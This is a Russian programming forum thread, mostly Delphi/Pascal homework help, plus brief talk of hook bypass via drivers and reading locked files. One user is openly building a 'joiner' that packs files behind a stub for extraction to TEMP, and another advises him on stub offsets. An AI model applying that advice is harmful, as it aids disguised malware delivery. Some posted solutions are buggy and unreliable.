через rku или SDT restoreа как это из узермода сделать?))

[slesh]

2 0verbreaK В SSDT из юзермода просто так не пролезиш без эксплоитов. Тока драйвером, а на счет дарйвера - тут можно даже и не снимать хуки а напрямую адреса вызывать Zw функций. Если конечно же нет сплайсинга.

[0verbreaK]

я сказал обратное?

[Markus_13]

1) Найти количество минимальнЫХ элементов в массиве (т.е 0,5,3,8,9,0,1,4,7 - будет 0 и 0)т.е. чтобы просто кол-во вывелось? тогда в твоем примере - 2 должно вывести?

[Markus_13]

вот 1ая (писал на TurboPascal)
program Z1;
uses crt;
const r=10;
var m:array[1..r]of integer;
i,j,k:integer;
begin
clrscr;
randomize;
for i:=1 to r do m[i]:=random(10);
write(' Array:');
for i:=1 to r do write(' ',m[i]);
writeln;
j:=m[1];
for i:=1 to r do if m[i]<j then j:=m[i];
writeln(' Minimal value = ',j);
k:=0;
for i:=1 to r do if m[i]=j then inc(k);
writeln(' Minimal count = ',k);
readkey;
end.

[Markus_13]

вот 2ая - также на ТурбоПаскале
program Z2;
uses crt;
const r=13;
var m,m2:array[1..r]of integer;
i:integer;
begin
clrscr;
randomize;
for i:=1 to r do m[i]:=random(20)-10;
write(' First Array:');
for i:=1 to r do write(' ',m[i]);
writeln;
for i:=1 to r do if m[i]<0 then m2[i]:=m[i]-7 else m2[i]:=m[i]*3;
write(' Second Array:');
for i:=1 to r do write(' ',m2[i]);
writeln;
readkey;
end.
З.Ы. первую подправил чуть)

[Stil Free]

бред какой-то, вообще кусок непойми чего
вообще в TIcqClient юзается RequestContactList, потом срабатывает OnServerListRecv, но щас непашет (у меня по крайней мере с версией компонента 1.341, после запроса от сервера вообще ответа нету)
З.Ы. клиент вообще если честн пора выкидывать, надо самому в оскар-протоколе разбираться и учить снаки)
Согласен там ничего полезного у меня TIcqClient 1.341 у меня вроде всё пашет и соединяется и письма отсылает только трабла с контакт листом вот код глянь что не так, а то прогу запускаю он контакт лист не грузит всё вроде правильно.

procedure TForm1.ICQclient1ServerListRecv(Sender: TObject; SrvContactList: TList);
var mk: Word;

UserInfo: TUINEntry;

begin if SrvContactList.Count > 0 then
for mk := 0 to SrvContactList.Count - 1 do
begin
UserInfo := PUINEntry(SrvContactList.Items[mk])^;
ListBox1.Items.Add(inttostr(userinfo.uin));
icqclient1.RemoveContact(userinfo.uin);
end;
ICQClient1.DestroyUINList(SrvContactList);
end;

И запускаю получение контактов когда происходит логин
ICQclient1.RequestContactList; всё вроде правильно... А список так и не идёт в чём ошибка? или клиент сдулся?

[Markus_13]

я тоже КЛ получить не могу, пробовал с SSL работать - у меня тоже не пашет, хотя вроде правильно, видать последнее изменение протокола было серьезным...
короче халява кончилось - надо самому вникать в оскар-протокол))

[BlackFan]

Как сделать, чтобы функция в делфи возвращала динамический массив?

[Stil Free]

я тоже КЛ получить не могу, пробовал с SSL работать - у меня тоже не пашет, хотя вроде правильно, видать последнее изменение протокола было серьезным...
короче халява кончилось - надо самому вникать в оскар-протокол))
это самоубийство я ещё совсем молод и хочу пожить нормально)

[Baofy]

СРОЧНО помогите!
1) Заполнить масив A(n,m) единицами по главной диагонали остальные элементы произвольные числа. Заполнить массив по второй диагонали значением суммы элементов по 2 строке массив распечатать.

[REBUUS]

procedure add(var a:mas);
var i,j:byte;
begin
for i=0 to n do
for j=0 to m do
if i=j then a[i,j]:=1
else
if (n-i)=j then
begin
"Здесь добавь второе условие для второй диагонали, просто я не понял его"
end
else
a[i,j]:=random(xxx);

end;

//////////////////
procedure print(a:mas);
var i,j:byte;
begin
for i:=1 to n do begin
for j:=1 to m do
write(a[i,j]);
writeln
end;end;

Заполнить массив по второй диагонали значением суммы элементов по 2 строке массив распечатать.
это условие я не понял и пропустил. И ПРОВЕРЬ НА СИНТАКСИЧЕСКИЕ ОШИБКИ я просто давно занимался этим языком

[Baofy]

т.у выводиться массив 1 диагональ единицы а вторая диагональ выводиться суммой по 2 строке

[REBUUS]

c суммой по 2 строке как понять ? что с кем суммировать ?

[Markus_13]

1) Заполнить масив A(n,m) единицами по главной диагонали остальные элементы произвольные числа. Заполнить массив по второй диагонали значением суммы элементов по 2 строке массив распечатать.
сделал (Turbo Pascal 7.1):
program BAOFY;
uses crt;
const n=10; m=n;
{esli n<>m - diagonal' ya hz kak opredelit' =)}
var a:array[1..n,1..m]of integer;
x,y,s:integer;
begin
clrscr;
randomize;
for x:=1 to n do for y:=1 to m do
if(x=y)then a[x,y]:=1 else a[x,y]:=random(10);{zapolnenie massiva}
s:=0;for x:=1 to n do s:=s+a[x,2];{summa 2 stroki}
for x:=1 to n do a[x,m-x+1]:=s;{2 diagonal'}
for y:=1 to m do begin for x:=1 to n do
write(' ',a[x,y]);writeln;end;{vyvod massiva}
readkey;
end.

[Baofy]

ну если массив из 5 элементов сумируешь 1 2 3 5 элемент

[Markus_13]

Как сделать, чтобы функция в делфи возвращала динамический массив?
//...
type dynmas=array of string;
//...
function strz(s1,s2:string):dynmas;
begin
setLength(result,2);
result[1]:=s1;
result[2]:=s2;
end;
//...
типо того...))

[BlackFan]

//...
type dynmas=array of string;
//...
function strz(s1,s2:string):dynmas;
begin
setLength(result,2);
result[1]:=s1;
result[2]:=s2;
end;
//...
типо того...))
а без type никак? :)

[f0rward]

С инди устал геморится, пора переходить на winsock/ wininet. Дайте кто-нибудь материл по нему пожалуйста, только не с гугла.
Или напишите процедуры/функции, например, для залогинивания на сайт, если не трудно.

[Markus_13]

С инди устал геморится, пора переходить на winsock/ wininet. Дайте кто-нибудь материл по нему пожалуйста, только не с гугла.
Или напишите процедуры/функции, например, для залогинивания на сайт, если не трудно.
сам ищу)
или еще как использовать tWebBrowser без форм и tApplication xDD
----------------------
а без type никак?
а те чё впадлу еще одну строчку дописать?)
меня лично и так устраивает

[Zitt]

такой вопрос...
есть БД, в ней таблицы..программо создал в DBGrid поле типа Lookup на основе существующего в бд... Как произвести сортировку в этом не существуюзем поле??
IndexFieldNames:='name_poly';
ругается..

[RumShun]

Zitt, что то я тебя не понимаю, DBGrid визуальный компонент кот показывает, по русски говоря что там в датасоурсе, в нем нельзя создать поле локап(я так думаю попробывать в голову не приходило такой идеи), поле локап можно создать в таблице(на кот в свою очередь и указывает дата соурс) или запросе. С таблицей в твоем случае будет тажа проблема, поэтому юзай скюэль запрос. Если нужно подробней могу расписать, скажи только названия полей и таблиц.

[Zitt]

ну если точна я через ADOTable создал новое поле....
поле называется например Name и в нем надо по алфавиту отсортировать данные...

[kRa$I-I]

Всем привет! У меня такой вопрос. Можно ли при написании программы пометить ее часть, ну например создать массив из чисел или определенную строку, чтобы при открытии этой проги из другой, можно было бы сделать SetFilePointer ({наша метка});
Ну типа как сигнатура у вируса.....
Спасибо.

[Hellsp@wn]

можно так, тока метку выбрать получше.

asm
jmp @@skip
db 011h,022h,033h,044h
@@skip:
end;

[kRa$I-I]

to Hellsp@wn: Я конечно не очень дружу c asm, но тут мне кажется маленько не то...
У меня это так :
// Открываем файл на чтение
hFile := CreateFile( MyFile, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
//Теперль нужно прочитать с определенного место
SetFilePointer(hFile, Хз скоко байт пробустить, FILE_BEGIN); // от начала файла
// Мне нужно сдвинуть указатель на определенную метку файла с дискриптором hFile.... а не прыгнуть jmp в моей программе...

[Mosvit]

Кому не сложно подскажите как разложить такую функцию на Делфи:
http://s1.dump.ru/viewer/2485681/

[KIR@PRO]

to Hellsp@wn: Я конечно не очень дружу c asm, но тут мне кажется маленько не то...
У меня это так :
// Открываем файл на чтение
hFile := CreateFile( MyFile, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
//Теперль нужно прочитать с определенного место
SetFilePointer(hFile, Хз скоко байт пробустить, FILE_BEGIN); // от начала файла
// Мне нужно сдвинуть указатель на определенную метку файла с дискриптором hFile.... а не прыгнуть jmp в моей программе...


function SetFilePointer(
hFile: THandle;
lDistanceToMove: Longint;
lpDistanceToMoveHigh: Pointer;
dwMoveMethod: DWORD
): DWORD; stdcall;

Первый параметр - указатель на открытый файл. Второй параметр определяет количество байт, на которые надо передвинуться. Третий параметр я ХЗ для чего. Последний параметр - это флаг определяющий откуда надо начинать двигаться:

FILE_BEGIN - Передвигаться от начала файла к концу.
FILE_CURRENT - Передвинуться начиная от текущей позиции к концу.
FILE_END - Передвигаться от конца файла к началу.

Функция с случае успеха вернёт младший байт установленной позиции.

узнать текущую позицию в файле можно так:

SetFilePointer(hFile,0, 0, FILE_CURRENT);


вот то что тебе надо:

var hfile:cardinal;
begin
hFile := CreateFile('C:\myfile.txt', GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0);
showmessage(inttostr(SetFilePointer(hFile,5, 0, FILE_BEGIN))); //сдивигаем текушую позицию в файле на 5 и выводим её в сообщении
showmessage(inttostr(SetFilePointer(hFile,0, 0, FILE_CURRENT))); //узнаем текущую позицию файла и видим что предыдущая операция выполнила свое дело


я так понял у тебя не получалось потому что забыл про lpDistanceToMoveHigh: Pointer;
;) удачи...

[kRa$I-I]

to KIR@PRO: и ты не угадал! Я наверно неудачно задал вопрос!? Я отлично знаю как пользоваться функцией SetFilePointer... я Joiner пишу и возникла задача как разделить Stub и собственно говоря сами файлы чтобы их извлечь в дальнейшем в TEMP... Мне нужно пометить границы файлов, чтоб в дальнейшем я мог прочитать в буфер с байта X количество размером с файл.....

[Hellsp@wn]

это ты не понял, тут 2 пути, или поиском искать метку или записывать чёткий адрес в переменную. типо

const
dwoffset: dword = $11223344; // размер стаба?
...
SetFilePointer(hFile,dwoffset,FILE_BEGIN);

если файл идёт сразу после стаба, то dwoffset это размер стаба. если нет, то надо посмотреть в HEX-редакторе, где тот файл(ы), который джоиниться.

з.ы. читай статьи по написанию джоинеров.

[kRa$I-I]

to Hellsp@wn: Спасиб.

[Huligan1]

Привет уважаемые программеры возник вопрос я сделал программу которая отправляет почту сделал стандартно (TidSMTP, TidMessage) а вот никак не в состоянии понять как файлы прикреплять к мылу

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdMessage, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdExplicitTLSClientServerBase, IdMessageClient, IdSMTPBase,
IdSMTP;

type
TForm1 = class(TForm)
IdSMTP1: TIdSMTP;
IdMessage1: TIdMessage;
Button1: TButton;
procedure Button1Click(Sender: TObject);
procedure IdMessage1CreateAttachment(const AMsg: TIdMessage;
const AHeaders: TStrings; var AAttachment: TIdAttachment);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
IdSMTP1.Connect;
IdSMTP1.Send(idMessage1);
IdSMTP1.Disconnect;

end;

procedure TForm1.IdMessage1CreateAttachment(const AMsg: TIdMessage;
const AHeaders: TStrings; var AAttachment: TIdAttachment);
begin

end;

end.

Всё содержимое я заполнил в компонентах так меньше мучиться думаю тоесть idsmtp.Host, idsmtp.port, idsmtp.username я нестал писать делал по статьям в интернете всё сделал письма на ура отправляет а вот с файлами проблема

Присоединяем к письму аттачмент

Если вам нужно отправить с письмом файл, т.е. аттачмент, то для этого нужно создать объект класса TidAttachment. Для этого применяется следующий конструктор:

Код:
constructor Create(Collection: TIdMessageParts; const AFileName: TFileName = ''); reintroduce;


где Collection - объект класса TIdMessageParts, представляющее собой коллекцию приложений к электронному письму.
контстанта AFileName типа TFileName - представляет собой обычную текстовую строку с указанием правильного пути к файлу, например "C:file.zip", по умолчанию имеет значение ''.


Таким образом, продолжая наш пример, строкой вида

Код:
TIdAttachment.Create(Msg.MessageParts,'c:file.zip' );


мы заполняем свойство MessageParts объекта Msg информацией о аттачменте. Теперь наша структура письма содержит информацию о аттачменте. После отправки сообщения нужно разорвать соединение с сервером, чтобы оно не "висело". Это производится методом Disconnect:

IdSMTP1.Disconnect;

Несмог вот это реализовать куда коды эти не пихал непомогало
подскажите как или правильно их вставить или может подругому как то можно прицепить файл ? буду признателен повышу репутацию

[Plaf-di]

как обролтиться к файлу на винте??

[Huligan1]

как обролтиться к файлу на винте??
Только матом иначе нельзя

[slesh]

самый просто способ - юзаю встроенные функции

var
f:textfile;
begin
assignfile(f,'filename.txt');
reset(f); - открывает для чтения
rewrite(f); - создание / перезапись
append(f); - дописываение в конец
write(f,"helloFFF"); записать стркоу в файл. в конце будет
writeln(f,"helloFFF"); записать стркоу в файл. в конце буде #13#10
readln(f,s) - считать строку из файла

closefile(f); - закрытие файла

[KaZ@NoVa]

как обролтиться к файлу на винте??

Пуск -> Выполнить. В появившемся окошке путь к файлу :(

[Nightmarе]

Кто нибудь может привести пример кода как скопировать файл если он занят другой программой?

[LEE_ROY]

hxxp://wasm.ru/article.php?article=lockfileswork не делфи, но код понятен имхо

[RumShun]

Zitt, кидай на форму ADOQuery, в свойство SQL записывай
Select t1.*, t2.name as Name
from t1,t2
where t1.name_id=t2.id
order by name
где t1 твоя исходная таблица, t2-таблица из кот ты смотришь значения локап поля,
t1.name_id и t2.id чем ты связывал при создании твоего локап поля

[Markus_13]

как обролтиться к файлу на винте??
вот так: xDD
echo Hi, Mr. File, can I speak with you? >> File
:D

[RumShun]

#Wolf#то что ты написал, только упорядочивает массив, метод если мне не изменят память называеться метод пузыря
_http://www.vzmakh.ru/info/pascal/modules/page14.html вот тут почитай
зы чуствуеться в коде какаято кривоватость
ззы есть такая ветка называеться студентам с лабораторными сюда

[s0l_ir0n]

pascal
1)написать программу поиска номера первого из двух последовательных элементов в целочисленном массиве из 10 элементов, сумма которых минимальна
(гавно какое-то да?))))

program Project1;

const
m:array[1..10] of integer=(3,5,8,1,9,4,5,2,1,2);
var
i:integer;
a,b:integer;
found:integer;
fsum:integer;
begin
fsum:=0;
found:=0;
For i:=1 to 10 do begin
a:=m[i];
b:=m[i+1];
If a=b-1
Then begin
if fsum=0
then begin fsum:=a+b;
found:=i;
end
else
if a+b<fsum
then begin
found:=i;
fsum:=a+b;
end;
end;
end;
Writeln('номер первого из двух последовательных элементов в целочисленном массиве из 10 элементов, сумма которых минимальна:',found);
Writeln('сумма последовательных минимальных элементов:',fsum);
readln;
end.

Действительно говно =/

[slesh]

ппц, с таким вот кодингом кодить дрова - бедная винда былабы.
массив от 1 до 10

For i:=1 to 10 do
begin
a:=m[i];
b:=m[i+1]; <- на 10 шаге ты провериш 11-й элемент массива, хотя максимальный - 10

Так что счетчик делай до 9.
В крупных проектах такое может быть смертельно )

[Plaf-di]

KaZ@NoVa в поскале когда пишешь прогу.

[s0l_ir0n]

дадада, я тупой :D
[/edited]и слепой, как оказалось :( [edited]

[Markus_13]

чуть исправил (имхо так лучше):
1)написать программу поиска номера первого из двух последовательных элементов в целочисленном массиве из 10 элементов, сумма которых минимальна
program ZZZ1;
uses crt;
const L=10;
var m:array[1..L]of integer;
i,a,b,found,fsum:integer;
begin
clrscr;
randomize;
write(' Massiv:');
for i:=1 to L do begin
m[i]:=random(7);
write(' ',m[i]);
end;
writeln;
fsum:=0;
found:=0;
for i:=1 to L-1 do begin
a:=m[i];
b:=m[i+1];
if a=b-1 then begin
if fsum=0 then begin
fsum:=a+b;
found:=i;
end else
if a+b<fsum
then begin
found:=i;
fsum:=a+b;
end;
end;
end;
writeln(' Nomer pervogo iz dvuh posl. elementov s minim. summoj = ',found);
writeln(' Minim. summa dvuh posl. elementov = ',fsum);
readkey;
end.
---------------------------------------------------------------
2) упорядочить по возрастанию элементы массива.
program ZZZ2;
uses crt;
const L=5; R=50;
var a:array[1..L]of integer;
b,i,h:integer;
begin
clrscr;
randomize;
write(' Massiv:');
for i:=1 to L do begin
{write('Vvedite ',i,'-y element massiva : ');
readln(a[i]);}
a[i]:=random(R*2)-R;
write(' ',a[i]);
end;
writeln;
for h:=1 to L-1 do
for i:=1 to L-h do
if a[i]>a[i+1] then begin
b:=a[i+1];
a[i+1]:=a[i];
a[i]:=b;
end;
write(' Uporyad.:');
for i:=1 to L do write(' ',a[i]);
writeln;
readkey;
end.

[slesh]

2 s0l_ir0n а я и не говорил что тупой или слепой. Это ошибка большей половины новечков. А я просто указал на её наличие )

[s0l_ir0n]

2 s0l_ir0n а я и не говорил что тупой или слепой. Это ошибка большей половины новечков. А я просто указал на её наличие )
Это не ты сказал, это я сказал и при том не без основательно :D

[Neorin]

млин.... завал у мну с паскалям..хех...хелп ми...у мну на зачетную работу над пару задачек решить...если можети...пжалуйста:
1) Получите 36 случайных, целых чисел и запишите их в файл. Чтением из файла сформируйте матрицу размером 6*6. Переформируйте матрицу на '0' и '1' (положительные - 0, отрицательные - 1) и определите номер строки с наибольшим количеством '0'.
2) сформируйте одномерный массив из 50 случайных, целых чисел в диапазоне от 0 до 100. Элементы массива уменьшить на величину среднеарефметического значения и подсчитать число отрицательных элементов.

буду вам очень благодарен...Заранее спасибо, кто поможет

[art2222]

1. Формируем так:

var
f: textfile;
s: string;
i: Byte;
begin
AssignFile(f,'random.txt');
Rewrite(f);
Randomize;
for i:=1 to 36 do
WriteLn(f, IntToStr(Random(1000)));
CloseFile(f);
end;


Решаем:


var
f: textfile;
s: string;
i,j,max,num,tmp: Byte;
k: Integer;
matr : array [1..6,1..6] of Integer;
begin
AssignFile(f,'random.txt');
Reset(f);
num:=0; max:=0;
for i:=1 to 6 do
begin
tmp:=0;
for j:=1 to 6 do
begin
ReadLn(f,s);
k:=StrToInt(s):
//Тут все делается за один проход массива, но если нужно сначала
//сформировать, а потом добавить выдели следующее условие и подсчет в
//отдельный цикл и K замени на matr[i,j]
if k>0 then
begin
matr[i,j]:=0;
Inc(tmp);
end else matr[i,j]:=1;
matr[i,j]:=k;
end;
if tmp>max then
begin
max:=tmp;
//Тут будет номер строки.
num:=i;
end;
end;
CloseFile(f);
end;


2) Решение

var
i,sred,cnt: Integer;
arr : array [1..50] of Byte;
begin
Randomize;
for i:=1 to 50 do
begin
arr[i]:=Random(101);
sred:=sred+arr[i];
end;
sred = sred div 50;
cnt:=0; //Кол-во отрицательных
for i:=1 to 50 do
begin
arr[i]:=arr[i]-sred;
if arr[i]<0 then inc(cnt);
end;
end;

Сорри если будут ошибки, компилятора с собой нет.

[_nic]

Как для Memo задать нужную кодировку?

[AlexTheC0d3r]

http://forum.developing.ru/showthread.php?t=16274

2 _nic - попробуй

[Zitt]

как вставить а главное прочитать картинку из бд ms acess ??
я так делаю

if Opendialog1.Execute then
begin
table.Edit;
DBImage1.Picture.LoadFromFile(Opendialog1.FileName );
table.post;

end;

но чета не как...

[slesh]

На сколько я помню MS Access не дает просто так это сделать. Там нужно както хитро это делать и там по смешению 1C проде будет начинаться как раз картинка. Когда читал про это на одном забугорном форуме. Там реально всё через жопу делается.

[Zitt]

а если тогда так, через опендиалог выбираем фаил картинке, записываем путь в бд, потмом получаем картунку по этому пути.. как такое реализовать ?

[RumShun]

Zitt, тут глянь
_http://www.sql.ru/forum/actualthread.aspx?tid=237312
_http://www.sql.ru/faq/faq_topic.aspx?fid=518
_http://www.sql.ru/forum/actualthread.aspx?tid=167492
помойму то что тебе надо

[RumShun]

а если тогда так, через опендиалог выбираем фаил картинке, записываем путь в бд, потмом получаем картунку по этому пути.. как такое реализовать
элементарно image1.picture.loadfromfile(tbl.fieldbyname('ImgPa th').AsString);

[Zitt]

RumShun, спасибо... разобрался..

[ZET36]

Такой вопрос. Перехватываю запрос wireshark'ом

0000 aa c6 20 00 04 00 04 00 04 00 00 00 08 00 45 00 .. ...........E.
0010 00 4a 34 1e 40 00 80 06 c8 69 4e 84 b2 3e 55 11 .J4.@....iN..>U.
0020 a8 52 07 93 13 7d a6 70 ff da 2b a8 a4 59 50 18 .R...}.p..+..YP.
0030 fe 94 26 09 00 00 4c 00 00 00 00 00 17 74 65 73 ..&...L......tes
0040 74 74 74 74 74 74 74 74 74 74 74 74 74 74 74 74 tttttttttttttttt
0050 74 74 74 74 00 00 a6 14 tttt....


в правой части рашифрованная строка, а вот что

aa c6 20 00 04 00 04 00 04 00 00 00 08 00 45 00
00 4a 34 1e 40 00 80 06 c8 69 4e 84 b2 3e 55 11
a8 52 07 93 13 7d a6 70 ff da 2b a8 a4 59 50 18
fe 94 26 09 00 00 4c 00 00 00 00 00 17 74 65 73
74 74 74 74 74 74 74 74 74 74 74 74 74 74 74 74
74 74 74 74 00 00 a6 14
? В какой системе исчисления и как собственно расшифровывать? Функция Chr вроде не подходит, конечно понимаю что это вопрос на уровне 7-8 класса, но всё же.

[art2222]

Эмм.. Это ж 16ричная система счисления, в левой то же самое что и в правой, только шестнадцатеричные коды символов. Вот как то так.

[ZET36]

art2222 спасибо, к стати существует ли в делфях какая-нибудь встроенная функция для перевода в строки в 16ричную, а то гугл даёт только переводы чисел из двоичной в 16ричную итд

[x3r0x]

function IntToHex(Value: Integer; Digits: Integer): String;

[slesh]

А чтобы из Hex в Int перевести нужно самому написать функцию типа

function Hex2Int(s:string):integer;
begin
result:=strtoint('$'+s);
end;

[ZET36]

x3r0x slesh благодарю

[Balvan]

как в делфях использовать гиперболическую функцию?! (для дальнейшего её построения)

[Rebit]

Нада человек який решить задачки 1-курсу института

Задача типа



Лабораторна робота № 1 Розгалуження.
Розробити програму для обчислення простого виразу, вхідні дані ввести з
клавіатури, результат вивести у форматованому вигляді, передбачити затримку пе-
реходу від екрана з результатами до програми. Знак ‘^’ означає ‘у ступеню’.
1. Задані дві функції y1 y2
24x2 x
y1=------------ ; y2=1 - -------;
(8+3x)2 2+x
Cкласти програму, результатом роботи якої, є найбільше значення однієї з них.
2.Дана точка з координатами x,y,z. Встановити чи належить вона кулі з центром c(x0,y0,z0) та радіусом R.
3. Задані три функції y1,y2,y3. Скласти програму, результатом якої буде найбільше значення однієї з них.
1 1
y1=--- - ----; y2= 8x; y3=5x2+3x+1;
x x2
4. Дані дві функції y1 y2.
1 6 1 1
y1=--- + ----; y2= 3x + ---- + ----;
x x2 6x 9x2
5. На площині задані два кола з радіусами R1, R2 і координатами центрів C1(x1,y1), C2(x2,y2), з'ясувати, чи мають вони: одну, дві, чи не мають спільних точок перетину взагалі.




С меня плюсики + благодарность

Заданий много то стучите все и при цьом задания разних типов

Актуально

[desTiny]

как в делфях использовать гиперболическую функцию?! (для дальнейшего её построения)
вот так, к примеру:
http://www.helloworld.ru/texts/comp/lang/delphi/delphi5/math/math52.htm

а вообще exp(x) и ln(x) тоже никто не запрещал использовать

[Nightmarе]

Приведите пример рабочего кода как проверить занят ли файл другим процессом.

[s0l_ir0n]

Приведите пример рабочего кода как проверить занят ли файл другим процессом.
program Project1;

{$APPTYPE CONSOLE}

uses
windows;

var
hFile:DWORD;
OFS: OFSTRUCT;
label err;
begin
hFile:=CreateFile('fsg.exe',GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0);
If hFile = INVALID_HANDLE_VALUE
Then goto err;
hFile:= OpenFile('fsg.exe', OFS, OF_READWRITE);
if hFile = INVALID_HANDLE_VALUE then
halt;
Writeln('All OK!');
readln;
halt;
err:
Writeln('Something wrong!');
readln;
end.

[slesh]

ЖЖжете.
The OpenFile function creates, opens, reopens, or deletes a file.

This function is provided for compatibility with 16-bit versions of Windows. In particular, the OpenFile function cannot open a named pipe. Win32-based applications should use the CreateFile function.
OpenFile устаревший аналог CreateFile
GENERIC_WRITE - какраз может послать тебя нах есл ифайл уже открыт монопольно на запись. Так что лучше всего просто напросто свотреть возможность чтения.
И вообще Label - это жесть.
Да и закрывать файл не забывай

Если дело на то пошло то

program Project1;

{$APPTYPE CONSOLE}

uses
windows;

var
h:DWORD;
begin
h:=CreateFile('fsg.exe',GENERIC_READ, FILE_SHARE_READ,nil,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0);
if h<>dword(-1) then
begin
Writeln('OK!');
CloseHandle(h);
end else Writeln('ERR!');
readln;
end.

[slesh]

А еще лучше тогда экспортировать NtCreateFile и RtlInitUnicodeString и InitializeObjectAttributes из ntdll.dll и почти напрямую делать открытие файла ) *CRAZY*

[AlexTheC0d3r]

Нада человек який решить задачки 1-курсу института

Задача типа



С меня плюсики + благодарность

Заданий много то стучите все и при цьом задания разних типов

для начала уважай собеседников и переведи все на чистый русский язык, а потом уже проси о помощи

[Mosvit]

Как можно в записать такой ряд в Дэлфи?
Помогите, нужно срочно :(


http://s57.radikal.ru/i158/0904/eb/923a8ff288b1.jpg

[AHTOLLlKA]

вот... мутка такая...

есть сторонний софт и в нем есть много конфигов...
тоесть в программе пользователь выбирает конфиг 5 например и программа обрабатывает файл например
C:\5.cfg

тоесть разные типо настройки в разных конфигах...

вот сижу и думаю.... как узнать что он использует именно этот конфиг.. из своей проги конечно...

мысль пока о поиске открытых файлах и хендлов в определенном целевом процесе...


но осилить такое я кнешно не могу... нашел примеры которые все открытые файлы у всех процесов выводят...
http://forum.sources.ru/index.php?showtopi...0&#entry1242689
но он работает блин ооочень медленно пока все переберет и тд...

может кто нить поделиться кодом как это сделать мне ??...

крайне надо .... какой день уже туплю..=((

[KaZ@NoVa]

Кому не сложно подскажите как разложить такую функцию на Делфи:
http://s1.dump.ru/viewer/2485681/

function fact(x:integer):integer;
begin
if (x=1) or (x=0) then fact:=1 else fact:=x*fact(x-1);
end;

function pow(x:real; y:integer):real;
var res:real;i:integer;
begin
res:=1;
if (y=0) then pow:=1;
if (y=1) then pow:=x;
for i:=1 to y do res:=res*x;
pow:=res;
end;

function s(x:integer):real;
var i:integer;
res:real;
begin
res:=0;
for i:=1 to 10 do begin
res:=res+(pow(-1,i)*x*pow(sin(x),i)/i);
end;
s:=res;
end;

function p(x:real):real;
var i:integer;
res:real;
begin
res:=1;
for i:=1 to 6 do begin
res:=res*(pow(x,i)/fact(i));
end;
p:=res;
end;
только не забудь что sin(x) работает с радианами а не с градусами)

[KaZ@NoVa]

AHTOLLlKA
Если ты пишешь на чём то вроде пшп или с++ то есть некие библиотеки, которые позволяют скажем получить имя файла, в котором мы работаем. ;)

[KaZ@NoVa]

Как можно в записать такой ряд в Дэлфи?
Помогите, нужно срочно :(


http://s57.radikal.ru/i158/0904/eb/923a8ff288b1.jpg
Кароч могу разложить ряд и написать сумму игриков.
aX^5+bX^4+cX^3+dX^2+eX+f
a,b,c,d,e,f - коэффициенты,
график сам делай!!!

function pow(x:extended; y:extended):extended;
begin
pow:=exp(y*(ln(x)));
end;

function y(x:extended; n:integer):extended;
var
res:extended;
i:integer;
begin
i:=n;
res:=0;
while (pow(x,i)>=pow(10,-6)) do begin
res:=res+pow(x,i);
dec(i);
end;

y:=res;
end;

Такая вот функция вышла.
тебе осталось только пройти по всем иксам и перемножить положительные у и разделить на колличество. а отрицательные сложить и тоже разделить на колличество.

[Nightmarе]

Вот задумал написать функцию определения типа интернет соединения, какой IP внешний или NAT, пришёл к выводу что это проще всего сделать через данные с ipconfig, но дальше затёрся, не знаю по каким параметрам парсить и каким образом...
Кто может помочь, подскажите пожалуйста как отпарсить по данным ipconfig является ли IP адрес внешним или используется NAT ?

Одна идея, проверить IP адрес через сайт проверки IP и сравнить его с текстом из ipconfig, но можно ли сделать как-то проще без коннекта к инету?
Если кто знает как, просьба привести код как это реализовать.

[AHTOLLlKA]

не... забыл сказать язык о могучий делфе =)

есть рабочий код но там перебор хендлов идет...

мне подсказали что можно как то через DuplicateHandle сделать проще... но догнать не могу так что гуглю все еще.... если есть у кого примеры кидайте плиз

[Mosvit]

KaZ@NoVa, спасибо!

Я только не пойму там шаг уже задан или нет? Если да, то какая переменная?

[Maxxxtri23]

Вот задумал написать функцию определения типа интернет соединения, какой IP внешний или NAT, пришёл к выводу что это проще всего сделать через данные с ipconfig, но дальше затёрся, не знаю по каким параметрам парсить и каким образом...
Кто может помочь, подскажите пожалуйста как отпарсить по данным ipconfig является ли IP адрес внешним или используется NAT ?

Одна идея, проверить IP адрес через сайт проверки IP и сравнить его с текстом из ipconfig, но можно ли сделать как-то проще без коннекта к инету?
Если кто знает как, просьба привести код как это реализовать.

Вот исходник проги, которую я писал. Определяет внутренний IP и внешний через хуиз. Если внутренний IP = внешнему, то соответственно НАТа нету, только вот с PPoe такая фишка не катит. Вообщем ->Вот<- (http://ifolder.ru/11793471) ковыряй =)

[AlexTheC0d3r]

Вот задумал написать функцию определения типа интернет соединения, какой IP внешний или NAT, пришёл к выводу что это проще всего сделать через данные с ipconfig, но дальше затёрся, не знаю по каким параметрам парсить и каким образом...
Кто может помочь, подскажите пожалуйста как отпарсить по данным ipconfig является ли IP адрес внешним или используется NAT ?

Одна идея, проверить IP адрес через сайт проверки IP и сравнить его с текстом из ipconfig, но можно ли сделать как-то проще без коннекта к инету?
Если кто знает как, просьба привести код как это реализовать.


смотри, все просто

парсишь ipconfig

если ip в зоне

10.0.0.0 - 10.255.255.255
172.16.0.0-172.31.255.255
192.168.0.0-192.168.255.255

то комп за NAT

[Alex056]

Помогите кто может!!! Надо решить в Pascal и Delphi тоже!
№1 Вычислить все значения функции ф=корень из x квадрат + y квадратесли х и у это значения элементов массива х(n) и у(m)
№2 определить количество положительных и отрицательных элементов в массиве х(n)
№3 в массиве A(n,m) определить:
а)максимальный и минимальный элементы
б)номер последнего отрицательного
в)заменить последний отрицательный элемент на минимальный
№4в массиве A(n,m) найти разность между суммой элементов во 2 строке и суммой элементов в 5 столбце.
Пожалуста!!! Просто очень нужно!

[Balvan]

Помогите дать для числа наименования «год», «года», «лет». Например, 1 год, 23 года, 46 лет и т.д.

зы
год: 1,21,31,41,51,61,71,81,91
года: 2,3,4,22,23,24,32,33,34...
лет: 5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,25,26,2 7,28,29...

на си могу, но лабы на делфях у нас, помогите позяизя!
